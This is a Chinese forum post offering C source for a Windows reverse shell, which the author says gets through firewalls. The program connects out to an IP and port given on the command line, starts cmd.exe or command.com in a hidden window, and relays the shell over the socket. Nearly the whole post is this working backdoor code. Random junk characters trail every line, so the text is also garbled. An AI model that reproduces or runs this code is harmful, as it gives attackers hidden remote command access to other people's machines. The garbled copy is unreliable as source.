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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \ B%+fw  
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/* ============================== z0 Z%m@  
Rebound port in Windows NT !d T4  
By wind,2006/7 5~S5F3  
===============================*/ l Nv|M)I  
#include s,_m{ to  
#include Rk8P ax/JK  
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#pragma comment(lib,"wsock32.lib") dQG=G%W  
2 ? 4!K.  
void OutputShell(); \}G^\p6?M  
SOCKET sClient; .A|@?p[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :Iz8aQ  
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void main(int argc,char **argv) 3iU=c&P  
{ DW3G  
WSADATA stWsaData; og>uj>H&  
int nRet; 4I(Xy]wm  
SOCKADDR_IN stSaiClient,stSaiServer; O&hTNIfi  
e~(5%CO>#j  
if(argc != 3) [PbOfxxgA  
{ $Z>'Jp  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7PF%76TO  
return; 51.%;aY~z  
} 5E <kwi  
$NO&YLS@  
WSAStartup(MAKEWORD(2,2),&stWsaData); [KQ6Ta.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lr$zHI7_`  
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stSaiClient.sin_family = AF_INET; EBmt9S  
stSaiClient.sin_port = htons(0); nT)vNWT=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EEL,^3KR  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LXCx~;{\  
{ {7pli{`  
printf("Bind Socket Failed!\n"); D3K8F@d  
return; 3 8`<:{^Y  
} xd0 L{ue.  
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stSaiServer.sin_family = AF_INET; {fp[BF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uvS)8-o&F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E<*xx#p  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "J3x_~,[4m  
{ ,v}k{( 16{  
printf("Connect Error!"); [1H^3g '  
return; -|9=P\U8S  
} \lNN Msd&  
OutputShell(); M"To&?OI  
} |e0`nn=  
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void OutputShell() A+?`?pOm&  
{ Uoix  
char szBuff[1024]; BfiD9ka-z  
SECURITY_ATTRIBUTES stSecurityAttributes; ~7Ux@Sx;  
OSVERSIONINFO stOsversionInfo; yEQs:v6L~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /2VJX@h  
STARTUPINFO stStartupInfo; FXU8[j0P_G  
char *szShell; Qe(:|q _  
PROCESS_INFORMATION stProcessInformation; ku M$UYTTX  
unsigned long lBytesRead; h!9ei6  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }l9llu   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zp?`N;  
stSecurityAttributes.lpSecurityDescriptor = 0; 11;zNjD|  
stSecurityAttributes.bInheritHandle = TRUE; J<lO= +mg  
oe~b}:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~flV`wy$$1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +[g,B1jt  
sW8dPw O  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "tpSg  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UJ6v(:z <  
stStartupInfo.wShowWindow = SW_HIDE; eb$#A _m  
stStartupInfo.hStdInput = hReadPipe; lqpp)Cq  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1[-tD 0{H  
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GetVersionEx(&stOsversionInfo); IMONgFBS  
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switch(stOsversionInfo.dwPlatformId) y1L,0 ]  
{ 7"D.L-H  
case 1: )@bQu~Y  
szShell = "command.com";  #:%/(j  
break; "U"Z 3 *  
default: |#N&akC  
szShell = "cmd.exe"; \Y}8S/]  
break; mpJ#:}n  
} D^;Uq8NDKq  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "" ZQ/t\  
Aq7osU1B  
send(sClient,szMsg,77,0); @7n"yp*"  
while(1) 0_t!T'jr7  
{ b>JDH1)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qJUK_6|3  
if(lBytesRead) y:l\$ pGC%  
{ {.mngRQF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $L]lHji  
send(sClient,szBuff,lBytesRead,0); ~61v5@  
} ~ W]TD@w  
else +=8VTC n?  
{ l1Fc>:o{  
lBytesRead=recv(sClient,szBuff,1024,0); M\Kx'N  
if(lBytesRead<=0) break; m`r(p"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3=ymm^  
} u> 7=AlWF-  
} 9'q*:&qq  
N ZSSg2TX#  
return; UFuX@Lu0  
}
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